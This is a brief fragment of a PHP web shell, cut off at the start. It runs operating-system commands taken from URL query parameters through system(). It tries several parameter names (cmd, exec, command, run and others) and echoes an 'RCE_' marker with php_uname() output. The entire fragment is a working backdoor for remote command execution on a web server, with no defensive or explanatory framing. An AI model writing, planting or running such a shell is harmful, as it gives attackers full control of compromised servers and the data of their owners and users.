RCE_" . php_uname() . "\n"; system($_GET["cmd"]); echo ""; die(); } // Also try other parameters foreach(array("cmd","exec","command","c","do","act","run","system") as $p){ if(isset($_GET[$p])){ echo "

RCE_" . php_uname() . "\n";
        system($_GET[$p]);
        echo "

"; die(); } } ?>